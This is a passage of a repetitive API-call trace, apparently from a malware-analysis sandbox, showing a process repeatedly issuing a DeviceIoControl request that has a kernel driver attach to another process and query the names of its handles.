(ApcState=0xfffff880052335d0) [0092.720] PsReleaseProcessExitSynchronization () returned 0x2 [0092.720] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.721] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.721] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0092.721] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.721] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.721] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.721] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.721] PsAcquireProcessExitSynchronization () returned 0x0 [0092.721] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.721] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0092.721] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.721] PsReleaseProcessExitSynchronization () returned 0x2 [0092.721] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.721] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.721] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0092.721] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.721] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.721] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.721] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.721] PsAcquireProcessExitSynchronization () returned 0x0 [0092.721] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.721] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0092.721] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.721] PsReleaseProcessExitSynchronization () returned 0x2 [0092.721] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.721] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.721] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0092.721] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.721] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.721] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.721] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.722] PsAcquireProcessExitSynchronization () returned 0x0 [0092.722] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.722] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0092.722] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.722] PsReleaseProcessExitSynchronization () returned 0x2 [0092.722] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.722] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.722] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0092.722] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.722] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.722] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.722] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.722] PsAcquireProcessExitSynchronization () returned 0x0 [0092.722] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.722] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0092.722] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.722] PsReleaseProcessExitSynchronization () returned 0x2 [0092.722] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.722] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.722] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0092.722] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.722] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.722] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.722] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.722] PsAcquireProcessExitSynchronization () returned 0x0 [0092.722] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.722] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0092.722] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.722] PsReleaseProcessExitSynchronization () returned 0x2 [0092.722] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.722] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0092.722] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0092.723] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.723] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.723] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.723] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.723] PsAcquireProcessExitSynchronization () returned 0x0 [0092.723] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.723] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0092.723] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.723] PsReleaseProcessExitSynchronization () returned 0x2 [0092.723] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.723] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.723] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0092.723] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.723] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.723] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.723] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.723] PsAcquireProcessExitSynchronization () returned 0x0 [0092.723] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.723] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0092.723] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.723] PsReleaseProcessExitSynchronization () returned 0x2 [0092.723] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.723] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.723] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0092.723] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.723] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.723] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.723] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.723] PsAcquireProcessExitSynchronization () returned 0x0 [0092.723] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.723] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0092.724] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.724] PsReleaseProcessExitSynchronization () returned 0x2 [0092.724] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.724] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.724] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0092.724] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.724] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.724] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.724] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.724] PsAcquireProcessExitSynchronization () returned 0x0 [0092.724] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.724] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0092.724] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.724] PsReleaseProcessExitSynchronization () returned 0x2 [0092.724] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.724] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.724] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0092.724] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.724] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.724] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.724] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.724] PsAcquireProcessExitSynchronization () returned 0x0 [0092.724] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.724] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0092.724] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.724] PsReleaseProcessExitSynchronization () returned 0x2 [0092.724] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.724] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.724] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0092.724] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.724] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.724] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.725] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.725] PsAcquireProcessExitSynchronization () returned 0x0 [0092.725] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.725] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0092.725] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.725] PsReleaseProcessExitSynchronization () returned 0x2 [0092.725] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.725] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.725] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0092.725] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.725] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.725] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.725] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.725] PsAcquireProcessExitSynchronization () returned 0x0 [0092.725] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.725] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0092.725] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.725] PsReleaseProcessExitSynchronization () returned 0x2 [0092.725] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.725] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.725] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0092.725] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.725] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.725] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.725] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.725] PsAcquireProcessExitSynchronization () returned 0x0 [0092.725] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.725] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0092.725] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.726] PsReleaseProcessExitSynchronization () returned 0x2 [0092.726] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.726] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.726] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0092.726] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.726] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.726] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.726] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.726] PsAcquireProcessExitSynchronization () returned 0x0 [0092.726] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.726] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0092.726] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.726] PsReleaseProcessExitSynchronization () returned 0x2 [0092.726] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.726] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.726] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0092.726] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.726] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.726] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.726] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.726] PsAcquireProcessExitSynchronization () returned 0x0 [0092.726] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.726] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0092.726] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.726] PsReleaseProcessExitSynchronization () returned 0x2 [0092.726] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.726] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.726] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0092.726] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.726] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.726] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, 